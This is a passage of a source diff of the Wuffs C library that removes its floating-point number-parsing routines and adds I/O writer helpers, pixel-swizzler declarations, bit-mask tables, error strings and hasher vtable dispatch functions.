log(10) / log(2) ≈ 3.321928. +- // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. +- // +- // Equality of the linearly-scaled value and the actual power-of-2, over the +- // range of exp10 arguments that this function accepts, is confirmed by +- // script/print-mpb-powers-of-10.go +- uint64_t ret_exp2 = +- ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ wuffs_base__slice_u8 src) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = src.len; ++ if (n > length) { ++ n = length; ++ } ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ if (n > 0) { ++ memmove(iop_w, src.ptr, n); ++ *ptr_iop_w += n; ++ } ++ return (uint32_t)(n); ++} + +- // Multiply the two mantissas. Normalization means that both mantissas are at +- // least (1<<63), so the 128-bit product must be at least (1<<126). The high +- // 64 bits of the product, x_hi, must therefore be at least (1<<62). +- // +- // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi +- // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore +- // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. +- wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); +- uint64_t x_hi = x.hi; +- uint64_t x_lo = x.lo; ++static inline wuffs_base__io_buffer* // ++wuffs_private_impl__io_writer__set(wuffs_base__io_buffer* b, ++ uint8_t** ptr_iop_w, ++ uint8_t** ptr_io0_w, ++ uint8_t** ptr_io1_w, ++ uint8_t** ptr_io2_w, ++ wuffs_base__slice_u8 data, ++ uint64_t history_position) { ++ b->data = data; ++ b->meta.wi = 0; ++ b->meta.ri = 0; ++ b->meta.pos = history_position; ++ b->meta.closed = false; + +- // Before we shift right by at least 9 bits, recall that the look-up table +- // entry was possibly truncated. We have so far only calculated a lower bound +- // for the product (man * e), where e is (10 ** exp10). The upper bound would +- // add a further (man * 1) to the 128-bit product, which overflows the lower +- // 64-bit limb if ((x_lo + man) < man). +- // +- // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right +- // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit +- // limb's low 9 bits are all on. +- // +- // For example, parsing "9999999999999999999" will take the if-true branch +- // here, since: +- // - x_hi = 0x4563918244F3FFFF +- // - x_lo = 0x8000000000000000 +- // - man = 0x8AC7230489E7FFFF +- if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { +- // Refine our calculation of (man * e). Before, our approximation of e used +- // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit +- // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). +- // Now calculate y = (man * bits_64_to_127_incl_of_e). +- wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); +- uint64_t y_hi = y.hi; +- uint64_t y_lo = y.lo; ++ *ptr_iop_w = data.ptr; ++ *ptr_io0_w = data.ptr; ++ *ptr_io1_w = data.ptr; ++ *ptr_io2_w = data.ptr + data.len; + +- // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to +- // calculate the 192-bit product of the 64-bit man by the 128-bit e. +- // As we exit this if-block, we only care about the high 128 bits +- // (merged_hi and merged_lo) of that 192-bit product. +- // +- // For example, parsing "1.234e-45" will take the if-true branch here, +- // since: +- // - x_hi = 0x70B7E3696DB29FFF +- // - x_lo = 0xE040000000000000 +- // - y_hi = 0x33718BBEAB0E0D7A +- // - y_lo = 0xA880000000000000 +- uint64_t merged_hi = x_hi; +- uint64_t merged_lo = x_lo + y_hi; +- if (merged_lo < x_lo) { +- merged_hi++; // Carry the overflow bit. +- } ++ return b; ++} + +- // The "high resolution" approximation of e is still a lower bound. Once +- // again, see if the upper bound is large enough to produce a different +- // result. This time, if it does, give up instead of reaching for an even +- // more precise approximation to e. +- // +- // This three-part check is similar to the two-part check that guarded the +- // if block that we're now in, but it has an extra term for the middle 64 +- // bits (checking that adding 1 to merged_lo would overflow). +- // +- // For example, parsing "5.9604644775390625e-8" will take the if-true +- // branch here, since: +- // - merged_hi = 0x7FFFFFFFFFFFFFFF +- // - merged_lo = 0xFFFFFFFFFFFFFFFF +- // - y_lo = 0x4DB3FFC120988200 +- // - man = 0xD3C21BCECCEDA100 +- if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && +- (y_lo + man < man)) { +- return -1; +- } ++// ---------------- I/O (Utility) + +- // Replace the 128-bit x with merged. +- x_hi = merged_hi; +- x_lo = merged_lo; +- } ++#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader ++#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer + +- // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave +- // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the +- // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. +- // +- // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit +- // number. +- uint64_t msb = x_hi >> 63; +- uint64_t ret_mantissa = x_hi >> (msb + 9); +- ret_exp2 -= 1 ^ msb; ++// ---------------- Tokens + +- // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can +- // be tricky. If we're half-way between two exactly representable numbers +- // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give +- // up instead of trying to pick the winner. +- // +- // Technically, we could tighten the condition by changing "73" to "73 or 74, +- // depending on msb", but a flat "73" is simpler. +- // +- // For example, parsing "1e+23" will take the if-true branch here, since: +- // - x_hi = 0x54B40B1F852BDA00 +- // - ret_mantissa = 0x002A5A058FC295ED +- if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { +- return -1; +- } ++// ---------------- Tokens (Utility) + +- // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit +- // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether +- // it was on or off, shifting right by one then produces a 53-bit number. If +- // carrying up overflowed, shift again. +- ret_mantissa += ret_mantissa & 1; +- ret_mantissa >>= 1; +- // This if block is equivalent to (but benchmarks slightly faster than) the +- // following branchless form: +- // uint64_t overflow_adjustment = ret_mantissa >> 53; +- // ret_mantissa >>= overflow_adjustment; +- // ret_exp2 += overflow_adjustment; +- // +- // For example, parsing "7.2057594037927933e+16" will take the if-true +- // branch here, since: +- // - x_hi = 0x7FFFFFFFFFFFFE80 +- // - ret_mantissa = 0x0020000000000000 +- if ((ret_mantissa >> 53) > 0) { +- ret_mantissa >>= 1; +- ret_exp2++; +- } ++// ---------------- Memory Allocation + +- // Starting with a 53-bit number, IEEE 754 double-precision normal numbers +- // have an implicit mantissa bit. Mask that away and keep the low 52 bits. +- ret_mantissa &= 0x000FFFFFFFFFFFFF; ++// ---------------- Images + +- // Pack the bits and return. +- return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); +-} ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ uint32_t up_to_num_pixels, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r); + +-// -------- ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r); + +-static wuffs_base__result_f64 // +-wuffs_base__private_implementation__parse_number_f64_special( +- wuffs_base__slice_u8 s, +- uint32_t options) { +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { +- goto fail; +- } ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint64_t num_pixels); + +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__swizzle_ycck( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_buffer* dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ wuffs_base__slice_u8 src0, ++ wuffs_base__slice_u8 src1, ++ wuffs_base__slice_u8 src2, ++ wuffs_base__slice_u8 src3, ++ uint32_t width0, ++ uint32_t width1, ++ uint32_t width2, ++ uint32_t width3, ++ uint32_t height0, ++ uint32_t height1, ++ uint32_t height2, ++ uint32_t height3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint8_t h0, ++ uint8_t h1, ++ uint8_t h2, ++ uint8_t h3, ++ uint8_t v0, ++ uint8_t v1, ++ uint8_t v2, ++ uint8_t v3, ++ bool is_rgb_or_cmyk, ++ bool triangle_filter_for_2to1, ++ wuffs_base__slice_u8 scratch_buffer_2k); + +- for (; (p < q) && (*p == '_'); p++) { +- } +- if (p >= q) { +- goto fail; +- } ++// ---------------- Images (Utility) + +- // Parse sign. +- bool negative = false; +- do { +- if (*p == '+') { +- p++; +- } else if (*p == '-') { +- negative = true; +- p++; +- } else { +- break; +- } +- for (; (p < q) && (*p == '_'); p++) { +- } +- } while (0); +- if (p >= q) { +- goto fail; +- } ++#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format + +- bool nan = false; +- switch (p[0]) { +- case 'I': +- case 'i': +- if (((q - p) < 3) || // +- ((p[1] != 'N') && (p[1] != 'n')) || // +- ((p[2] != 'F') && (p[2] != 'f'))) { +- goto fail; +- } +- p += 3; ++// ---------------- String Conversions + +- if ((p >= q) || (*p == '_')) { +- break; +- } else if (((q - p) < 5) || // +- ((p[0] != 'I') && (p[0] != 'i')) || // +- ((p[1] != 'N') && (p[1] != 'n')) || // +- ((p[2] != 'I') && (p[2] != 'i')) || // +- ((p[3] != 'T') && (p[3] != 't')) || // +- ((p[4] != 'Y') && (p[4] != 'y'))) { +- goto fail; +- } +- p += 5; ++// ---------------- Unicode and UTF-8 + +- if ((p >= q) || (*p == '_')) { +- break; +- } +- goto fail; ++// ---------------- + +- case 'N': +- case 'n': +- if (((q - p) < 3) || // +- ((p[1] != 'A') && (p[1] != 'a')) || // +- ((p[2] != 'N') && (p[2] != 'n'))) { +- goto fail; +- } +- p += 3; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__CORE) + +- if ((p >= q) || (*p == '_')) { +- nan = true; +- break; +- } +- goto fail; ++const uint8_t wuffs_private_impl__low_bits_mask__u8[8] = { ++ 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, ++}; + +- default: +- goto fail; +- } ++const uint16_t wuffs_private_impl__low_bits_mask__u16[16] = { ++ 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, ++ 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, ++}; + +- // Finish. +- for (; (p < q) && (*p == '_'); p++) { +- } +- if (p != q) { +- goto fail; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | +- (negative ? 0x8000000000000000 : 0)); +- return ret; +- } while (0); ++const uint32_t wuffs_private_impl__low_bits_mask__u32[32] = { ++ 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, ++ 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, ++ 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, ++ 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, ++ 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, ++ 0x3FFFFFFF, 0x7FFFFFFF, ++}; + +-fail: +- do { +- wuffs_base__result_f64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); +-} ++const uint64_t wuffs_private_impl__low_bits_mask__u64[64] = { ++ 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, ++ 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, ++ 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, ++ 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, ++ 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, ++ 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, ++ 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, ++ 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, ++ 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, ++ 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, ++ 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, ++ 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, ++ 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, ++ 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, ++ 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, ++ 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, ++ 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, ++ 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, ++ 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, ++ 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, ++ 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, ++ 0x7FFFFFFFFFFFFFFF, ++}; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // +-wuffs_base__private_implementation__high_prec_dec__to_f64( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t options) { +- do { +- // powers converts decimal powers of 10 to binary powers of 2. For example, +- // (10000 >> 13) is 1. It stops before the elements exceed 60, also known +- // as WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +- // +- // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array +- // element value rounds up (1<<14 is an upper bound for 1e4) while staying +- // at or below WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL. +- // +- // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), +- // powers[2] == 6 and so: +- // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = +- // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. +- // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = +- // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. +- // +- // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), +- // powers[2] == 6 and so: +- // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = +- // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. +- // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = +- // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. +- // +- // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) +- // when right shifting but (powers[n]+1) when left shifting. +- static const uint32_t num_powers = 19; +- static const uint8_t powers[19] = { +- 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // +- 33, 36, 39, 43, 46, 49, 53, 56, 59, // +- }; ++const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16] = { ++ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, ++ 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, ++}; + +- // Handle zero and obvious extremes. The largest and smallest positive +- // finite f64 values are approximately 1.8e+308 and 4.9e-324. +- if ((h->num_digits == 0) || (h->decimal_point < -326)) { +- goto zero; +- } else if (h->decimal_point > 310) { +- goto infinity; +- } ++const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; ++const char wuffs_base__note__end_of_data[] = "@base: end of data"; ++const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; ++const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; ++const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; ++const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; ++const char wuffs_base__suspension__short_read[] = "$base: short read"; ++const char wuffs_base__suspension__short_workbuf[] = "$base: short workbuf"; ++const char wuffs_base__suspension__short_write[] = "$base: short write"; ++const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; ++const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; ++const char wuffs_base__error__bad_argument[] = "#base: bad argument"; ++const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; ++const char wuffs_base__error__bad_data[] = "#base: bad data"; ++const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; ++const char wuffs_base__error__bad_restart[] = "#base: bad restart"; ++const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; ++const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; ++const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; ++const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; ++const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; ++const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[] = "#base: disabled by WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST"; ++const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; ++const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; ++const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; ++const char wuffs_base__error__insufficient_history[] = "#base: insufficient history"; ++const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; ++const char wuffs_base__error__no_more_information[] = "#base: no more information"; ++const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; ++const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; ++const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; ++const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; ++const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; ++const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; ++const char wuffs_base__error__too_much_data[] = "#base: too much data"; + +- // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) +- // pair from the high_prec_dec h is more correct but slower than the +- // approach taken in wuffs_base__parse_number_f64. The latter is optimized +- // for the common cases (e.g. assuming no underscores or a leading '+' +- // sign) rather than the full set of cases allowed by the Wuffs API. +- // +- // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying +- // for an exact result). When we have more than 19 mantissa digits, run it +- // twice to get a lower and upper bound. We still have an exact result +- // (within f64's rounding margin) if both bounds are equal (and valid). +- uint32_t i_max = h->num_digits; +- if (i_max > 19) { +- i_max = 19; +- } +- int32_t exp10 = h->decimal_point - ((int32_t)i_max); +- if ((-307 <= exp10) && (exp10 <= 288)) { +- uint64_t man = 0; +- uint32_t i; +- for (i = 0; i < i_max; i++) { +- man = (10 * man) + h->digits[i]; +- } +- while (man != 0) { // The 'while' is just an 'if' that we can 'break'. +- int64_t r0 = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man + 0, exp10); +- if (r0 < 0) { +- break; +- } else if (h->num_digits > 19) { +- int64_t r1 = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man + 1, exp10); +- if (r1 != r0) { +- break; +- } +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); +- return ret; +- } +- } ++const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; ++const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; ++const char wuffs_base__hasher_bitvec256__vtable_name[] = "{vtable}wuffs_base__hasher_bitvec256"; ++const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; ++const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; ++const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; + +- // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See +- // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html +- // +- // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, +- // that h->decimal_point is +0 or +1. +- // +- // First we shift right while at or above 10... +- const int32_t f64_bias = -1023; +- int32_t exp2 = 0; +- while (h->decimal_point > 1) { +- uint32_t n = (uint32_t)(+h->decimal_point); +- uint32_t shift = +- (n < num_powers) +- ? powers[n] +- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- +- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, shift); +- if (h->decimal_point < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- goto zero; +- } +- exp2 += (int32_t)shift; +- } +- // ...then we shift left while below 0.1. +- while (h->decimal_point < 0) { +- uint32_t shift; +- uint32_t n = (uint32_t)(-h->decimal_point); +- shift = (n < num_powers) +- // The +1 is per "when targeting h->decimal_point being +0 or +- // +1... when left shifting" in the powers comment above. +- ? (powers[n] + 1) +- : WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__CORE) + +- wuffs_base__private_implementation__high_prec_dec__small_lshift(h, shift); +- if (h->decimal_point > +- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- goto infinity; +- } +- exp2 -= (int32_t)shift; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) + +- // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which +- // will give us our exponent in base-2), the mantissa's first 3 digits will +- // determine the final left shift, equal to 52 (the number of explicit f64 +- // bits) plus an additional adjustment. +- int man3 = (100 * h->digits[0]) + +- ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + +- ((h->num_digits > 2) ? h->digits[2] : 0); +- int32_t additional_lshift = 0; +- if (h->decimal_point == 0) { // The value is in [0.1 .. 1]. +- if (man3 < 125) { +- additional_lshift = +4; +- } else if (man3 < 250) { +- additional_lshift = +3; +- } else if (man3 < 500) { +- additional_lshift = +2; +- } else { +- additional_lshift = +1; +- } +- } else { // The value is in [1 .. 10]. +- if (man3 < 200) { +- additional_lshift = -0; +- } else if (man3 < 400) { +- additional_lshift = -1; +- } else if (man3 < 800) { +- additional_lshift = -2; +- } else { +- additional_lshift = -3; +- } +- } +- exp2 -= additional_lshift; +- uint32_t final_lshift = (uint32_t)(52 + additional_lshift); ++// ---------------- Interface Definitions. + +- // The minimum normal exponent is (f64_bias + 1). +- while ((f64_bias + 1) > exp2) { +- uint32_t n = (uint32_t)((f64_bias + 1) - exp2); +- if (n > WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- n = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_rshift(h, n); +- exp2 += (int32_t)n; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__hasher_u32__checksum_u32( ++ const wuffs_base__hasher_u32* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // Check for overflow. +- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. +- goto infinity; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_u32)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Extract 53 bits for the mantissa (in base-2). +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, final_lshift); +- uint64_t man2 = +- wuffs_base__private_implementation__high_prec_dec__rounded_integer(h); ++ return 0; ++} + +- // Rounding might have added one bit. If so, shift and re-check overflow. +- if ((man2 >> 53) != 0) { +- man2 >>= 1; +- exp2++; +- if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. +- goto infinity; +- } +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u32__get_quirk( ++ const wuffs_base__hasher_u32* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // Handle subnormal numbers. +- if ((man2 >> 52) == 0) { +- exp2 = f64_bias; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Pack the bits and return. +- uint64_t exp2_bits = +- (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. +- uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. +- (exp2_bits << 52) | // +- (h->negative ? 0x8000000000000000 : 0); // (1 << 63). +- +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); +- +-zero: +- do { +- uint64_t bits = h->negative ? 0x8000000000000000 : 0; ++ return 0; ++} + +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_u32__set_quirk( ++ wuffs_base__hasher_u32* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-infinity: +- do { +- if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { +- wuffs_base__result_f64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { ++ const wuffs_base__hasher_u32__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; +- +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); +- return ret; +- } while (0); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-static inline bool // +-wuffs_base__private_implementation__is_decimal_digit(uint8_t c) { +- return ('0' <= c) && (c <= 